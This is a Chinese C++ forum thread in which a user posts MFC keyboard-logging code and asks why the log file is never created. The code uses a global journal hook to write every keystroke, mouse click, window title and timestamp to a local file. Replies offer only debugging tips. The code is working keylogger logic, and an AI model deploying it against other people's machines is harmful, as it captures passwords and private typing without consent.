日志钩子将键盘信息写入文件,文件未创建成功

WM_vicky 2015-09-10 07:07:23
// logfileDlg.cpp : implementation file
//

#include "stdafx.h"
#include "logfile.h"
#include "logfileDlg.h"
#include "stdlib.h"


#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CLogfileDlg dialog
HHOOK g_hLogHook = NULL; //钩子变量
HWND g_hLastFocus = NULL;
HWND g_SelfHandle = NULL;

//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值


CLogfileDlg::CLogfileDlg(CWnd* pParent /*=NULL*/)
: CDialog(CLogfileDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CLogfileDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

}

void CLogfileDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CLogfileDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CLogfileDlg, CDialog)
//{{AFX_MSG_MAP(CLogfileDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDLOG, OnLog)
ON_BN_CLICKED(IDC_STOP, OnStop)
ON_WM_LBUTTONDOWN()
ON_WM_TIMER()
//}}AFX_MSG_MAP

END_MESSAGE_MAP()

//MESSAGE_HANDLER(WM_LBUTTONDOWN,TMessage,notify_message)
//MESSAGE_HANDLER(WM_TIMER,TMessage,HandleTimer)
/////////////////////////////////////////////////////////////////////////////
// CLogfileDlg message handlers

BOOL CLogfileDlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here

return TRUE; // return TRUE unless you set the focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.

void CLogfileDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting

SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CLogfileDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}

void CLogfileDlg::OnLog() //开始按钮
{
// TODO: Add your control notification handler code here

g_SelfHandle = m_hWnd ;
if (g_hLogHook==NULL)
//安装日志钩子
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,NULL,0);

::SetTimer(m_hWnd,1,1000*10,NULL);
}

HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
{
if (iCode< 0)
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);

if (iCode==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;

HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称

FILE *stream=fopen("e:\\logfile.txt","a+t");

if (pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];

hFocus = GetActiveWindow(); // cx
//取得当前活动窗口句柄

if(g_hLastFocus!=hFocus)
{//当前活动窗口是否改变
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;

CTime pt;
CString time1,time2;

pt = CTime::GetCurrentTime();
//星期,月,日,年
time1=pt.Format("%A, %B %d, %Y");
//小时,分,秒
time2=pt.Format("%H : %M : %S ");

//写入文件
fprintf(stream,"%c%s%c%c%s",10,time1+time2,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}

int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift)
fprintf(stream,"%c",vKey);

if (vKey >=65 && vKey<=90)
{// A-Z a-z
if (!bCapital)
if (bShift)
ch=vKey;
else
ch=vKey+32;
else
if (bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}

if (vKey >=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222)
{ // 其他键
switch (vKey)
{
case 186:
if (!bShift) ch=';';else ch=':';break;
case 187:
if (!bShift) ch='='; else ch='+';break;
case 188:
if (!bShift) ch=',';else ch='<' ;break;
case 189:
if (!bShift) ch='-'; else ch='_';break;
case 190:
if (!bShift) ch='.'; else ch='>';break;
case 191:
if (!bShift) ch='/'; else ch='?';break;
case 192:
if (!bShift) ch='`';else ch='~'; break;
case 219:
if (!bShift) ch='['; else ch='{';break;
case 220:
if (!bShift) ch='\\'; else ch='|';break;
case 221:
if (!bShift) ch=']'; else ch='}';break;
case 222:
if (!bShift) ch='\''; else ch='\"';break;
default:
ch='n'; break;
}
if (ch!='n') fprintf(stream,"%c",ch);
}

// 功能键 [F1]-[F12]
if(vKey==VK_F12)
::PostMessage(g_SelfHandle,WM_CLOSE,0,0);

if (vKey >=8 && vKey<=46) //方向键
{
switch (vKey)
{
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n';break;
}
if (ch!='n')
{
if (g_PrvChar!=vKey)
{
fprintf(stream,"%s",str);
g_PrvChar=vKey;
}
}
}
}

if(pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{
hFocus = GetActiveWindow();
if (g_hLastFocus!=hFocus)
{
g_hLastFocus = hFocus;
GetWindowText(hFocus,szTitle,256);

CTime pt;
pt=CTime::GetCurrentTime();

CString time1,time2;
//星期,月,日,年
time1=pt.Format("%A, %B %d, %Y");
//小时,分,秒
time2=pt.Format("%H : %M : %S ");

//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,time1+time2,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}

fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam); //传递到下个钩子 子程
}
}

void CLogfileDlg::OnStop()
{
// TODO: Add your control notification handler code here
if (g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
}

void CLogfileDlg::OnLButtonDown(WPARAM &wParam, LPARAM &lParam)
{
// TODO: Add your message handler code here and/or call default
int x = LOWORD(lParam); // horizontal position of cursor
int y = HIWORD(lParam);

::SendMessage(m_hWnd,WM_NCLBUTTONDOWN,HTCAPTION,MAKELPARAM(x,y));

// CDialog::OnLButtonDown(nFlags, point);
}

void CLogfileDlg::OnTimer(WPARAM &wParam, LPARAM &lParam)
{
// TODO: Add your message handler code here and/or call default
::KillTimer(m_hWnd,1);
}


void CLogfileDlg::OnTimer(UINT_PTR nIDEvent)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值

CDialog::OnTimer(nIDEvent);
}


void CLogfileDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值

CDialog::OnLButtonDown(nFlags, point);
}
...全文
140 4 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
xixi11_guagua_22 2015-09-11
  • 打赏
  • 举报
回复
设断点后老是说未加载标识符
赵4老师 2015-09-11
  • 打赏
  • 举报
回复
请检查每个函数调用的返回值。
WM_vicky 2015-09-10
  • 打赏
  • 举报
回复
设了断点没有什么用,帮忙修改以下程序
赵4老师 2015-09-10
  • 打赏
  • 举报
回复
单步调试和设断点调试(VS IDE中编译连接通过以后,按F10或F11键单步执行,按Shift+F11退出当前函数;在某行按F9设断点后按F5执行停在该断点处。)是程序员必须掌握的技能之一。

65,187

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧